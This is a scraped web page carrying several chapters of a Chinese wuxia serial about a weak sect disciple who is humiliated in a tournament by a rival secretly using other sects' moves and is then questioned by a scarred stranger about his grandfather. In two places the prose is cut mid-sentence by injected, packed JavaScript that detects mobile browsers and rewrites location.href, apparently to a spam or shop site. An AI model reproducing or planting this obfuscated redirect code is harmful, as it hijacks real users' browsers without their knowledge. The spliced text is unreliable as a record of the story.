精瘦招风耳弟子道:“我才不跟他说呢,上次我忘带师父叫抄写的《水南百家武学论》还是《临蓟外功考》来着,反正就是有一次,刚好轮到他收。我让他别跟师父说,他摆张臭脸就算了,最后也没答应,通融一下又怎么了?他那么刚正不阿,武功好我也就认了,结果就那水平,我能服他?”他压低了声音:“一家人性格都奇奇怪怪,他爷爷也……怪不得掌门和师父师伯师叔们都不待见。” 其他弟子没再说什么,毕竟大较时受伤稀疏平常,谢岚星此举引发的后果也不叫什么后果。只是同门之间比武切磋,点到为止。若是不小心伤了对方也就罢了,谢岚星直接就以让人受伤出丑为目的去比试,确实过分。只是这些弟子虽觉谢岚星过分,却也无人为雨馀凉说话。 雨馀凉站在比武台上,只觉四肢发麻,心脏在胸腔中战若擂鼓,力气好似渐次从身体中被抽出。四周看台上花花绿绿,人头攒动,那些浮动的人声离他似乎很近,又似乎很遥远。每年大较他都是这样,比试还没开始,身体就已经先紧张到酸软无力了。 之前已经进行了几场比试,还没轮到他上场时,他往看台上看了几圈,都没看到那名姑娘的身影。不过看台很大,人又多,看漏了也说不定。 担任裁判的师叔确认好双方状态后,右手上举,然后往下一划,喝道:“开始!”随着这声令下,雨馀凉和谢岚星都纵身上前,啪的一声,两臂相接,二人拳来脚往地就过起招来。 台上铎占文看了又摇摇头,道:“这二人出招速度好慢。”旁边有的弟子表示同意,有的弟子没说话。初学武功之人,对招式不熟悉,心里有负担,害怕自己被打中,过起招来速度都不快,就像台上这二人过招,好似将正常速度的打斗放慢了半拍一样。而那些优秀的弟子,比如铎占文,出招速度已经很接近师父和师伯师叔们了。人们喜欢看的,具有观赏性的,也是以快打快的比试。但在谷州刀派,还是很有一部分弟子的出招速度就跟现在台上的雨馀凉谢岚星差不多。 谷州刀派的大较,每一场要比试两轮。此门派既然叫做“刀派”,所授武功自然是以刀法为主,但为了不让门内弟子一旦丢下了刀就不知架该怎么打了,门派对弟子们的拳脚功夫也重视。因此在第二轮比试刀法之前,第一轮先要比试拳脚。 比试拳脚时,雨馀凉便看出,谢岚星使的虽然是本门传授的武功招式,但有几招攻击下盘的路数,总感觉有哪里不对劲。然而这些看起来有些古怪的招式只是一闪而过,且夹杂在其他正常的招式中,所以雨馀凉也只略微感到疑惑。只是他想到之前谢岚星说要让他出丑,也不敢掉以轻心,集中了心神应对攻来的每一招。 拆到二三十招后,双方或拳击,或掌劈,或腿扫,或脚踢,都有打中对方。正自难分高下时,忽然,谢岚星身形不知怎么闪了几闪,雨馀凉上一刻还在找寻谢岚星的身影,下一刻便右小腿腿肚剧痛,站立不定,单膝跪倒在地。 看台上人群发出一阵呼声。 只见谢岚星一脚踩在雨馀凉右边小腿上,雨馀凉双手撑地,已是动弹不得。一直站在比武台边的师叔呼喝一声,走上前来,看了一眼后,面向观武台高声道:“第一轮,谢岚星胜。” 宣布胜负后,谢岚星还将脚踩在雨馀凉腿上,并不移开。师叔道:“谢岚星,雨馀凉,准备下一轮吧。”谢岚星这才得意地把脚从雨馀凉腿上挪下来。 雨馀凉心念电转:不对,不对!方才他使的,好像不是本门功夫! 门派大较之所以叫门派大较,是意在本门考察弟子的修习成果,所以只能用本门武功。谢岚星方才踩他小腿的那一招,确实是他们谷州刀派的招式,但刚出招时,雨馀凉竟以为他要使水西沧阆派的幻冥身法,一时间慌了手脚,没能用出相应的拆解方法,这才结结实实地吃了他这一脚。这么说来,他之前那些看上去古怪的动作,自己好像也有印象,也在雨休的书上看到过,只记不得具体是哪一门哪一派的哪一路招式了。 雨馀凉虽然怀疑,但也不能确定。只好先拿起木刀,摆出谷州刀派刀法起手的架势,与谢岚星相对而立。 又一声“开始”令下后,雨馀凉率先刺出一刀,谢岚星闪身避过,举刀直刺雨馀凉面部。雨馀凉仰头避开,同时提刀横削,谢岚星着了忙,慌慌张张地退后几步。 雨馀凉站直了身子,眼神变得凌厉起来,这一次他要好好看清楚谢岚星究竟是怎样出的招。 雨馀凉武功不怎么样,不过在刀法上似乎还是有些天赋,谢岚星知道自己和雨馀凉刀法的差距比他们之间拳脚功夫的差距大,不敢再贸然以刀法上前。雨馀凉见他驻足在原地久久不动,猜测他是发觉自己在刀法对决上捞不着便宜,接下来应该就要用些“别的方法”来扭转局势了,果不其然,谢岚星下一招起手便怪异起来。 此刻看台上,山鬼一边在拥挤的人群中艰难走着,一边抱怨河伯道:“都怪你磨磨蹭蹭,这都开始了,不知道小兄弟打完没有。” 河伯道:“台上那个是不是你的小兄弟?” 山鬼闻言,往比武台上看去,只见两柄木刀在空中划出一道道弧线,再看对阵的两人,右边那人似乎确是昨天给她带路的雨馀凉。 山鬼心中一喜,快速回头对河伯道了一声:“快点!”又马上将头转回来,挤挤挨挨地在人群中艰难穿行,想要去到靠前的位置。偶尔有人说一句:“挤什么?”山鬼只好报以一笑,口中道:“对不住,对不住。”又接着往前挪动。之后河伯再跟上来,先前说话的那人就不满道:“嘿,你们怎么回事啊?”河伯也只得跟着道歉,再继续往前艰难前进。那人在身后仍嘟哝道:“想去前排提前占位置啊。” 山鬼好不容易走到最前面一排,过了一会河伯也跟了上来。他比山鬼高出许多,便在她身后站定。山鬼看了一阵,便觉有些奇怪,台上和雨馀凉比试的那名弟子,每次出招后,雨馀凉不是立刻进行招架或拆解,而是都要凝滞一下才做出反应。 江湖上比武,反应也很重要。慢了一分,敌人的兵刃就更近了一分,凶险便多了一分。 原来在雨馀凉看来,这之后谢岚星使的每一招尽管最终都还是谷州刀派的刀法招式,但在最开始出招时,动作都极尽古怪,让人不知道他会使出哪一招。于是雨馀凉便只好在他出招之初游走周旋,待到谢岚星先将稀奇古怪的虚招使完,再凝神应对他最终实际使出的招式。 虽然,只能在对方将招式使到一半时,才能分辨出他究竟使的哪招,应对起来更加费劲,也更加凶险。但雨馀凉通过之前十数招的观察,内心也几乎已经确定了,谢岚星在前半招展现的这些古怪动作,应当都是来自其他门派。 看台上,铎占文又摇头道:“蠢材,蠢材,这几式从入门第一天就开始学,练到现在还使成这个样子。” 楚楚知他说的是谢岚星招式动作古怪,道:“我去年见他使这几招,动作还要标准些。” 精瘦招风耳弟子趴在栏杆上,两脚交叉站着,笑道:“咋还越练越回去了呢?” 谢岚星很是狡猾,他亦知道不能让其他人看出自己使的是别派招式,不然直接就会因犯规而被判罚。这些招式,都是他在藏书阁翻了几天的书,尽量找寻冷僻的门派中偏门的刀法,费尽心思地搜集起来。他极其谨慎小心,生怕被人看出来,所以选择的都不是水南的门派,而在水西、水东的门派之中挑选。 而谢岚星在水西、水东的门派中挑选时也极其慎重。比如说,两仪派虽然不是水南的门派,但因其过于有名,所以谢岚星没有将其纳为选择对象。而有一个绝大多数书籍都没记载的门派叫做无涯派,以剑法闻名。谢岚星查阅更多书籍后却发现他们也有刀法传世,现在绝大部分江湖人连无涯派都没听说过,自然不知道此中关节,便将无涯派的刀法拿来揣摩。 谢岚星有些聪明才智,竟真将这些分属不同派别的刀法招式和本门派的刀法衔接了起来,虽然看上去蹩脚,但好歹能合成一招。大较后顶多被师父指责招式练得不到位,却能实实在在地让熟悉各门各派招式的雨馀凉吃瘪。 只能等对方使了半招后再出手到底吃亏,尽管雨馀凉凝心应对,刀法也较谢岚星要高一些,但仍是挨了几刀,被木刀击打过的地方火辣辣地痛,谢岚星却没被打中一处。 雨馀凉不是不想主动进攻,一改被迫接招的处境。但自己应对谢岚星的进攻已用尽全力,往往是接下对方一招后,还没缓过劲来,下一招又接踵而至。且谢岚星有时是使了半招其他门派的招式再接谷州刀派的招式,有时是其他门派的半招还没使完便刀锋一转,就以本门的招式攻了过来,让人猝不及防。所以雨馀凉一直没找到机会转守为攻。 啪的一声,雨馀凉又被一刀抽中膝盖。这一声极响极清脆,回荡在整个较武场。就算不看雨馀凉脸上因疼痛而扭曲的表情,人们都知道到雨馀凉挨的这下肯定不轻。谢岚星乘胜追击,接连踏上几步,又以别门别派的武功招式朝雨馀凉攻去。 雨馀凉却认出这是无涯派的刀法,他昨夜曾盯着无涯派的武功观看良久,故印象深刻。但雨馀凉并不加以理会,只凝神细看谢岚星接下来将会使本门招式中的哪一招。 刀刃划过半空,发出呼呼风响,无涯派武功招式潇洒飘逸,谢岚星只是浅浅地模仿出招式动作,整个人身上的气势就与先前大不相同。 谢岚星这次却迟迟没有变招。 雨馀凉心中一惊,难不成他要将这招完整地使出来? 谢岚星这回使出的这一式刀法名曰无涯斩云诀。此刀法如云雾一般层层变幻、气象万千,威力也甚巨。被攻击之人不仅无路可退,且一旦被砍中便非死即残。虽然谢岚星拿的是木刀,但在此招的加成下会造成何种后果实在难说。难道谢岚星甘冒被门派处罚的风险也要让他雨馀凉重伤不成? 眼见谢岚星刀尖离他不过数尺,仍是无涯斩云诀的那招。雨馀凉心惊不已,避也避不开,招架也招架不住,为今之计,只有硬着头皮拆解了。于是向前一纵,双臂交叉,右手前伸,要去抓谢岚星右手手腕,左手将刀握定,反臂径刺谢岚星颈项。他用来拆解的这一招,亦是无涯派的武功招式。这招虽然看起来直取对方要害,十分狠辣,但雨馀凉只意在逼谢岚星缩手回刀,自己这一刀绝不会真的刺下去。 只见谢岚星微微一笑,突然身形一斜,手腕一翻,又变成了谷州刀派的刀法招式,且是十分简单,十分朴实的一招,雨馀凉方才针对无涯斩云诀的拆招方式直接就拆了个空。 他功夫不济,不仅脑子反应不过来,身体也来不及顺势变招,人又还未落地,直接被谢岚星这直接了当的一招重重捣在地上。雨馀凉右脚一撇,还没来得及调整站立姿势,紧接着谢岚星的第二刀,第三刀,第四刀……接踵而至。谢岚星劈头盖脸地打了雨馀凉十数刀,且一下下击打之间空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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辜俊愿最先看到谢岚星出招蹩脚,尚且还能忍受。看见雨馀凉被谢岚星木刀击打,前者只会以两臂遮住头脸时心里就不满了。对习武之人来说,这是最不体面的动作。对方攻击你,你不说见招拆招,也要格挡或躲开,怎么也比挡住脸挨打好看。以两臂护住头脸,那是从没学过武功之人下意识的做法,既难看又无济于事。辜俊愿教授弟子,在弟子们入门之初就反复强调这点。这种低级错误雨馀凉不仅犯,还当着临蓟来的唐掌门以及他们谷州刀派的掌门赵恬面前犯,这不是让他这个师父脸上无光?最后看到雨馀凉竟在大较这种场合使出其他门派的功夫,又被赵恬说了几句后,不禁怒火中烧。 辜俊愿见雨馀凉还悬挂在台子边,急躁道:“怎么还吊着?” 雨馀凉只忍痛声如蚊讷道:“师父,弟子上不来。” 辜俊愿啧了一声,神色极不耐烦,道:“谢岚星把他拉上来。” 谢岚星道:“是。”几乎是听见谢岚星声音的同时,雨馀凉只觉脚踝一紧,整个人身子一提,就摔在了台子上,倒置的世界又正了过来。 雨馀凉以手肘支着台面试图坐起,一边听到辜俊愿的声音从头顶传来:“也是人家谢岚星不记仇,你用出那种狠招,最后还拉了你一把没让你摔到台子下面去。”雨馀凉好不容易撑起上半身,一抬头就看见谢岚星得意的笑。 谢岚星内心大为满足。他虽然是谷州刀派上上任掌门的孙子,但贪玩成性,心思不在习武上。雨馀凉武功在整个门派中属于中下水平,谢岚星比之雨馀凉更加差劲。但他知道雨馀凉对其他门派武功路数了解得多,所以才会对自己这些“怪招”有反应。若对付别人,反而起不到这么好的效果。 不仅没人发现他的小动作,反倒引雨馀凉使出了其他门派的招式。让人以为雨馀凉久战不胜、内心急躁,所以突然发狠,竟用上了十分毒辣的别派招式来戕害同门。这个效果是谢岚星也没想到的。此次计划不得不说是大获全胜。 雨馀凉现在已经没力气再找谢岚星理论了,场合也不允许,师叔已经在叫下一场比试的弟子到位了。 谢岚星呼的一声跳下台子,动作干净利落。 雨馀凉没法像谢岚星那么潇洒地跳下台子,他右腿小腿先被谢岚星踩了一脚,之后膝盖又被谢岚星以木刀打中,此刻右腿不仅疼痛难忍,更是使不上半分力气。偏偏他差点摔下去的那一边没有台阶,只得拖着右腿慢慢走到另一边,从台阶上一阶一阶地走下去。他强自忍痛,跌跌撞撞往台下走去,然而眼前昏花,下台时脚踢到台边木桩,直接脸朝地被绊下了比武台。看台上的笑声才消停不久,此刻又是一阵高高低低的哄笑。 雨馀凉抬头,眼神刚好与听到动静回过头来的辜俊愿对上。辜俊愿翻了个白眼,直接将头转回,快步走了。 谢岚星做到了,谢岚星说要让他出丑就能让他出丑,除他之外的其他人总是能如愿以偿。 他的木刀早在摔下台子的同时就掉落在比武台下了。雨馀凉走下台子后,埋头四处寻觅了一会,才在台子下靠里的角落找到了自己的木刀。他边找刀时边想,那位姑娘没来,也好。 捡起刀后,一抬头,却直接对上了看台上山鬼的眼神。 雨馀凉愣住了。 她什么时候来的?而且就在离自己这么近的地方。 她是不是都看到了? 雨馀凉见到那张白净俏丽的脸,见到那张脸上遗憾担忧的神情,鼻子突然一酸。 一时间,他只感到尴尬丢脸,还有一丝隐隐约约的委屈。 雨馀凉连忙转过头,一瘸一拐地往较武场外走去。 下一场比试已经开始了,雨馀凉虽没看见,却也知道打得好不热闹,因为身后人群中时不时便爆发出“好!”的喝彩声,他方才的尴尬可笑并没有在人们心中留下太久印象。 好歹结束了,不是吗。 赵恬在心里期望方才雨馀凉的表现没有让唐奕才对他们谷州刀派的整体水平产生怀疑,并希望剩下几场上台比武的弟子能争气一些挽回面子,让唐奕才忘记刚刚那场。他看向唐奕才,只见唐奕才神色凝重,双眼虽看着比武台,却似乎并没有在看上面的比试。 赵恬不知道,唐奕才此刻却在想,以郑宝卿雷厉风行的办事风格,怎么还没办完九寒山牢的事,到谷州府来跟他会合?不仅如此,也没派人送来消息。 唐奕才心中从疑惑逐渐转向了忧虑。 却说方才雨馀凉那场比试,看台上众人都在哈哈大笑时,河伯只是随意转头看向四周,忽然间瞥见看台另一边,昨日那个疤脸大汉赫然就站在那里! 后者望着比武台的方向一动不动,也没有笑,在哄闹的人群中犹如石雕一般。雨馀凉离开后,那疤脸汉子便也转身离去。河伯立刻朝他所在方向追去,奈何看台上人山人海,河伯被人群阻住,此地也不宜展开轻功,只能眼睁睁地看着那疤脸汉子的身影湮没在众人之后。 另一边,山鬼还站在原地,没有发现邢勘已经从自己身后离开了,只看着雨馀凉离去的方向,久久没有动作。 6. 大较(四) 雨馀凉走在巷子里。 阳光明媚的中午,空中飘荡着饭菜香味。人间烟火气,大抵如此。 今天是不是有邻居家的午饭做了酸萝卜鸭汤? 每次都是这样,这些烟火的味道总能让他暂时忘记烦恼。 他身上被木刀打过的地方无一不痛,偏偏今天还被打中了很多次。雨馀凉来到家门口,摸出钥匙开了门进去。 回到家中,他本想先脱了衣裤看看自己伤势如何,估计又是一道道青紫痕迹,正这么想着的时候,才听到一阵咕嘟咕嘟的声音从厨房那边传来。 “这个老爷子!”雨馀凉冲向厨房,刚跑起来,腿上肌肉牵动,突如其来的剧痛让他直接一个踉跄,同时痛呼出声,但雨馀凉仍强忍着疼痛尽可能快地向厨房走去。雨休不止一次在灶上烧着水就忘记了,有好几次更是直接将整锅的水全部烧干。 等他一瘸一拐进了厨房,却发现灶中没火,而锅里的水还在冒着热气。 只见没烧完的木柴已被从灶中拖出来放在一边。 爷爷回来了? 雨馀凉正自愣神时,忽然听得一道人声从身后传来。 “火是我熄的。水开了很久了,再烧一会,锅都烧干了。” 雨馀凉猛然回头,只见一人倚坐在窗台上。 雨馀凉第一个念头是,这人他并不认识。然而雨馀凉的目光很快就被那人的脸吸引了过去,那人脸上,有一道从眉尾一直到嘴角的疤痕。 雨馀凉想起来了,是他! 是那天在沿华街看到的疤脸汉子,似乎跟那位问路姑娘的朋友有仇。 他怎么会出现在自己家里? 雨馀凉当即就想去拿砧板上放着的菜刀。 但砧板放在那大汉坐着的窗台下,而雨馀凉自己的木刀又被他进屋时顺手靠在堂屋门边的墙上。 一时间,雨馀凉脑中一片空白。直觉告诉雨馀凉这疤脸汉子是个危险人物,他又是怎么找到自己家来的? 雨馀凉又看向仍在冒着些许热气的大锅,火应该是才被熄灭不久,而锅边已烧出了一整圈白色的水痕。说明自己到家前水就已经开了很久了,而这汉子却才把火熄了。也就是说,这汉子与他是前后脚进的家门…… 雨馀凉突然感到毛骨悚然。 难道这疤脸汉子是一路尾随自己到家的?他是从什么时候开始跟着自己的?是从谷州刀派出来就跟着了,还是在街上? 自己竟丝毫没有察觉。 正当雨馀凉惊疑不定之时,那疤脸汉子开口问道:“你叫雨馀凉?” 雨馀凉不答。 见雨馀凉沉默,那疤脸汉子低头思考一阵,道:“谢岚星的做法,其实是取其他门派招式的半招,或三分之一招,或四分之一招接在谷州刀派招式的后面半招或大半招上,所以在谷州刀派的人——无论是你的师父,还是同门看来,谢岚星只是出招动作没那么准确,使的却还是本门派的招式。若所知各家各派招式不多的话,就看不出谢岚星其实已经违背了大较的规矩。” 雨馀凉听了这番话,情不自禁地“啊”了一声,一脸不可思议地看向那汉子。 难道他看完了自己和谢岚星比试的全过程? 只见那汉子闭上双目,似在仔细回忆分辨,“嗯……那半招是苍犀派的留鹤手,之后是天影斩,连半招都没使全。再之后那三分之一招是凌风岭的烈日刀……至于打中你手臂的前五分之一招,因为他只使了五分之一,甚至可以说更少,所以要辨识起来不那么容易,是桐花派的……第十五套还是第七十三套?第七十三套刀法的第二百一十九式看上去更像一些,玉笙刀法的第九十四招起手倒是很接近,虽然后面完全不同……燕罗刀……禹都府那个门派的第七套刀法……青莲六式……” 雨馀凉听他所说,似乎都是不同门派的武功名称。他提到的其中几个门派的几套刀法,自己上午跟谢岚星比武时看出谢岚星使的招式确是来自那些刀法,他比武时只记得在雨休编写的书册上看到过,心里有些印象,名字却记不得了。这汉子此刻却将名字说了出来,他这么一说,雨馀凉也记起的确是那些门派,刀法确实是叫那些个名字。 雨馀凉不知这汉子究竟有何目的,只是他看出了谢岚星的卑鄙伎俩,说出了自己憋在心里的委屈,不像在较武场的那么多人一样对他嘲笑怒骂,比之方才骤然见到这陌生汉子时的惧怕提防,雨馀凉此刻对他却多了一些亲近。 那汉子睁开眼,眼里突然变得极其明亮,道:“最后一招,斩云诀第六十路第三百九十七式。”他看向雨馀凉:“你怎么知道用……那一招拆解的?” 雨馀凉一怔,一时没明白这疤脸汉子的意思,喃喃重复道:“我怎么知道?” 拆就拆了,怎么还有什么为什么。 雨馀凉不知哪来的勇气,道:“你若想知道,应该去找谢岚星才是。是他先使了这招,我才能去拆这招。他若不使,我也用不着拆了。” 疤脸汉子笑了,道:“那手斩云诀之所以会被认为让人无路可逃,避无可避,刀法本身固然玄妙,可也要配合步法才能达到此种境界。那个姓谢的小子腿脚全无章法,轻易便能避开。何况单就刀法来说,那小子也只是模仿个动作,就跟他这个门派模仿一招,那个门派模仿半招一样,其实并未学会这套刀法。倒是作为他对手的你,在之前全没料到他会使这招的情况下,竟能临机应变,以与斩云诀同属一门的刀招进行回击,这可比他高明多了。” 雨馀凉没有说话,也不知道说什么。疤脸汉子自顾自地继续说道:“我在江湖行走多年,绝少看见有人使出这一路数的武功,而今天却一下看到两个。我想,你们既都是谷州刀派的弟子,却从哪里了解的其他门派的武功呢?门派的藏书阁中说不定有些线索。到了藏书阁后一看,嘿,书还挺多。一本本地翻是不大现实了,正当我不知要如何是好时,偏偏无意间知道了另一件事,门派里管理文书档案的是位老者,姓雨。这可巧了,方才在台上大较的其中一名弟子不也姓雨?而且藏书阁有一架书,这些书不是刻印,而是手写的。随便挑出几本,内容都是水西水南水东三地各家各派的武学招式,每一本书的署名都是雨休。姓这个字的可不多,雨姓的老者,雨休,你,你们之间应当有些联系,说不定你用来拆解斩云诀的那招,就是雨休或姓雨的老者传授的,又或者,雨休跟那老者根本就是同一人。于是我又从藏书阁出来,跟上你一路到这。” 那汉子从窗台上跳下,直视雨馀凉,一步步向他走近,问道:“你是怎么知道用这一招的?” 雨馀凉一惊,顾左右而言他:“那招我只是随意使出来……你既对武功招式感兴趣,下午还有更精彩的比试……比之前的比试都精彩……” 疤脸汉子盯着他的脸笑道:“我只对你有兴趣。” 雨馀凉听他说了一大堆,内心隐隐约约明白了些什么。 这汉子是在通过武功追踪什么东西。 听他说话,似乎并不知道无涯派。 明明是“无涯斩云诀”,他却一口一个“斩云诀”。 明明他用来拆解无涯斩云诀的那招也是无涯派武功,他却只说“那一招”。从头至尾没有提“无涯”两个字。 而确实几乎无人听说过无涯派,他之前与铎占文产生争论就是因为这个原因。 雨馀凉突然冷汗涔涔,他从小到大也看过不少“全流派武功种类汇总”之类的书籍,今日才突然惊觉,似乎只有雨休自己编写的书上提到了早已不存在的无涯派。 雨休又是怎么知道无涯派的?他跟百年前就灭门的无涯派有什么关系? 谢岚星好死不死使出了无涯派的斩云诀,而自己好死不死用了无涯派的武功来拆解,这才被盯上。 他感兴趣的怕不是自己,而是爷爷雨休。 找不到爷爷,所以来逼问自己,想从自己这知道些什么。 雨馀凉不想说有关雨休的事,谁知道这疤脸大汉通过武功追踪的是什么,搞不好是在 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那头古叶千见没人回应,又更用力地拍了几下门,大声叫道:“馀凉,馀凉,你在家吗?” 雨馀凉这才如梦初醒般,一边口里应着一边去开门。 古叶千自从大较受伤后就没再去门派,他估摸着这个时候雨馀凉也该比试完回来了,于是来到雨馀凉的住所看看雨馀凉的伤势情况,顺便交流挨打心得。 雨馀凉请古叶千屋里坐,古叶千笑道:“坐不得坐不得,你忘了?”说着眼神示意了一下自己的屁股。 雨馀凉勉强笑道:“你不说我还真忘了。” 古叶千于是一手撑着桌子,问起雨馀凉大较的情况,雨馀凉从头到尾跟古叶千说了,包括之后那疤脸汉子来家里的事,也一一说了出来。 古叶千一拍桌,忿忿道:“这个谢岚星怎么这么下作?馀凉,下午你就去找师父说清楚,我跟你一起。” 雨馀凉道:“师父下午忙着呢,这次大较主要是他在组织,肯定没时间听人说这些。”他顿了顿,“而且,他厌恶我,说不说的,又有什么分别?” 古叶千沉默一阵,道:“……你好歹可以让谢岚星受到惩罚。” 雨馀凉双手抱头,手指伸进头发里,疲惫道:“我现在不想想这些了。”他低着头,说的话闷声闷气从下面传上来:“下午我还是去门派吧。”尽管他不想面对同门和师父,但那疤脸汉子实在有些诡异,要不是古叶千突然来,雨馀凉还不知道事态会怎么发展,现在他只想去到人多的地方。 古叶千道:“那个脸上有疤的汉子,也不一定是歹意,虽然出现的方式是吓人了点……” 雨馀凉嗯了一声,道:“我准备先问问爷爷。”说着从柜里拿出伤药来,脱去上衣给自己上药。 古叶千看到雨馀凉身上一道道紫青淤痕,也觉得有些触目惊心,道:“说起来,雨爷爷呢。” 雨馀凉道:“他这几天揽了什么活,时常不在家。” 雨馀凉嘴上说着,心里却突然一凛,他去揽了什么活?雨馀凉之前没在意,此刻却突然好奇起来。 古叶千道:“你背上也有,需要我帮忙么。” 雨馀凉道:“嗯,谢谢。” 雨馀凉擦着药,却突然想起了那疤脸汉子的话。 他以前还真没听说过有人拿草鱼骨粉治疗淤伤,想来不是偏方,那汉子也不会特意跟他说。 看他样子,倒也不似来寻仇,他究竟有什么目的? 雨馀凉忽然对雨休的身份,连带着自己的身份都产生了疑惑。 他又想到谢岚星在大较前说的那句“雨老儿自己都是个老光棍,连儿子都没有,哪里来的孙子?”雨馀凉最初听到这句话时内心充满了怀疑和伤心,后来想通了便也觉得这只是谢岚星在胡说八道,无非就是让自己心里难受一下而已。可现在,雨馀凉却觉得谢岚星这话当真不是空穴来风了。 老爷子到底瞒了他多少? 7. 大较(五) 吃过午饭后,雨馀凉来到门派的看台,古叶千也跟着一起。 现在离大较开始还有一会,观武台上,赵恬和琥沙派的唐掌门都还没来,师父也没来,只有一个师叔坐在那小憩。 看台上倒是已经零零散散坐了些人,大多是谷州刀派的弟子。 过了一会,人越来越多,都有说有笑的,有的弟子手里还拿着小说、糕饼点心之类。 谷州刀派大较的对决分组是根据上次大较排名和抽签共同决定的。先将弟子分成几个档次,然后在同一个档次内抽签决定对决名单。按照每一年的惯例,排名最靠前的弟子们都是被安排在最后半天进行比试。所以之前雨馀凉告诉疤脸汉子下午的比赛更精彩,也并不是随口编来糊弄他。 大多数弟子在之前就已经全部比完,这个时候,自己比完了,又可以看优秀弟子的精彩对决,接着又是七天的休息。因此大较最后一天的下午,弟子们大都异常高兴。 比试开始没多久,天空就开始飞起濛濛细雨。这点雨对习武之人来说压根算不得什么,众弟子在雨中较武。看台上零星撑起了几把伞。 最后半天的比试果然是精彩纷呈,人群中的叫好声、喝彩声,无论是频繁程度还是声音大小,都远超前两天。 最后,本次大较最后一场比试的双方,铎占文和鲍楚楚站在了比武台上。 连先前一直在看小说的古叶千,此刻也抬起了头,看向比武台。 从前几年开始,铎占文每年都是门派大较的优胜,而鲍楚楚亦是十分优秀的弟子,两人都师出辜俊愿门下。众人都期待这两人带来一场精彩的较量,赵恬尤其希望他俩好好表现,让旁边的唐奕才唐掌门好好看看他们谷州刀派的风采。 铎占文仍是一袭碧色长袍,向鲍楚楚行了一礼,道:“鲍师妹,请多指教了。”神色间全是从容自信。 另一边鲍楚楚肃然道:“铎师兄不必客气,出招吧。”只见她身着橘黄衣衫,腰间系一条绯红裙子,裙下穿裤,裙摆轻轻飘动。 看台上几个女弟子道:“楚楚今天这身真可爱。” “我也觉得!像个水蜜桃。” 精瘦招风耳弟子听到了,笑着凑过去道:“我也觉得可爱。”被几名女弟子一致鄙夷:“谁问你了!” 铎占文连续几年大较夺魁,于武学一道也越发感到得心应手。有时看同门切磋,就是大较排名第二、第三的弟子,铎占文也觉他们一招一式间瑕疵太多。自己似乎没有费太大的力,就将其他同门远远甩在了后面。 去年师父又将一套更复杂、更难练的刀法传授给了他,并说比这更简单的刀法其他弟子都练不成火候。本来辜俊愿也只是抱着试试看的态度将这套刀法教给他,并没觉得他一定就能练成。但在苦练之下,铎占文也将这套刀法完完整整地练出来了。其实他认为就算没学这套刀法,其他人也不是他的对手,此次大较,自己已是稳操胜券。 而这次大较又有临蓟琥沙派的掌门前来观摩。铎占文知道琥沙派在水南武林的地位举足轻重,又听小道消息说,琥沙派掌门来谷州刀派是为了挑人。 肯定是挑选优秀的弟子去到临蓟修习高深的武功,在那里修习成为佼佼者,说不定还能有机会一窥武学的至高妙诣。以自己的眼界、能力,最后成为能左右水南武林,乃至水西、水东武林的人物也不是不可能的事。 前路一片光明,今天这场大较比试,就是他日后叱咤武林的起点。 铎占文已经想好,自己将鲍楚楚打败时,也不能让她输得太难看,要在琥沙派的掌门面前,给对手留有余地,显得自己既有能力,又有风度。 第一轮拳脚比试,二人兔起鹘落,每次相遇时就过上一招,“砰”、“啪”之响不绝,绿衣红裙在台上翩翩翻飞。古叶千感慨道:“高手打起来跟我们这些人就是不一样,真好看哪。” 二十几招过后,只见鲍楚楚向铎占文击出一掌,铎占文认出这是本门的醴阳掌法。当初师父教他们这套掌法时,铎占文是众弟子中第一个学会学全的。他见鲍楚楚掌法变化趋势,是要从第一式直接变化到第九式,中间几式则根据情况使出。寻常弟子,往往只能从第一式变化到第二式,第二式变化到第三式……第八式变化到第九式,如此一式一式地演变,要随心所欲地变幻,非得将整套掌法融会贯通再加上使用者的悟性机变不可。这随心变幻的诀窍,还是他第一个提出来的,连师父辜俊愿都没想到。辜俊愿一开始还说不可能做到,之后半信半疑照他所说试演一遍后,竟然可行,于是当着所有弟子的面对铎占文大大夸赞一番。 铎占文心想,你在我面前用这招,岂不是班门弄斧?这套掌法,他是极熟的,任你以哪一式攻来,铎占文闭着眼睛都能化解。当即好整以暇地准备接招,计划在这一招后就把对方拿下。 不想鲍楚楚这一掌只是虚招,众人见她手掌只是擦过铎占文脸侧,突然右腿一抬,膝盖就向铎占文侧腰撞去。 铎占文一惊,他全副心思都在应对鲍楚楚接下来的掌法变化上,于她腿上的动作竟丝毫没有察觉,忙慌乱躲过这一记膝撞,动作之间隐隐显出狼狈。 看台上武功稍弱的人没看出刚刚这一下对铎占文来说凶险之至,武功较强的人却看出鲍楚楚差点得手,都发出“喔”的一声轻呼。 铎占文脸上一红。 本来以他的水平不该看不出虚招实招,也是铎占文太过沉浸在对这套掌法的得意中,竟差点就挨中一下。 不想鲍楚楚这招还有后着,一击不成,变膝撞为腿踢,迅捷无比地就向铎占文身上数处踢去。好在铎占文虽然慌乱,底子还是有的,很快调整了状态,左臂右手齐出,箍住了鲍楚楚的脚踝向后一拖,鲍楚楚重心不稳向前跌去,铎占文又出掌在鲍楚楚后背一拍,鲍楚楚当即摔倒在地。 拳脚比试,铎占文险胜鲍楚楚。他赢得艰难,比试前什么“不让对方输得太难看”、“留有余地”的想法早就抛到了脑后。 事关人生大事、宏图伟业,风度与礼貌就无暇维持了,他铎占文今日必须被选中。 第二轮刀法比试,铎占文就比之前谨慎了许多,一意求稳。只是他打着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717282|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打着发觉比自己想象的吃力。鲍楚楚的刀很快,攻击快,变招快,更难得的是快而又不虚浮。自己竟逐渐有些跟不上了。 她什么时候变得这么厉害? 